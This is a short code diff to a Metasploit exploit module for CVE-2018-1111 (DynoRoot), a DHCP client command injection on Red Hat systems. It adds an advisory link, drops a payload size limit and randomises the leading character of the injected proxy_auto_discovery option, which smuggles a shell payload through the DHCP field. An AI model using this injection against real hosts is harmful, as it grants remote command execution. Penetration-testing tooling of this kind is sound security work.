Randomize the starting letter

modules/exploits/unix/dhcp/rhel_dhcp_client_command_injection.rb

@@ -37,13 +37,12 @@ class MetasploitModule < Msf::Exploit::Remote
           ['AKA', 'DynoRoot'],
           ['URL', 'https://dynoroot.ninja/'],
           ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2018-1111'],
+          ['URL', 'https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble'],
           ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1111']
         ],
       'PayloadType': 'cmd',
       'Payload'        =>
         {
-          # 255 for a domain name, minus some room for encoding
-          'Space'       => 200,
           'DisableNops' => true,
         },
       'Targets'        => [ [ 'Automatic Target', { }] ],
@@ -57,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote
   def exploit
     hash = datastore.copy
     start_service(hash)
-    @dhcp.set_option(proxy_auto_discovery: "x'&#{payload.encoded} #")
+    @dhcp.set_option(proxy_auto_discovery: "#{Rex::Text.rand_text_alpha(1)}'&#{payload.encoded} #")
 
     begin
       while @dhcp.thread.alive?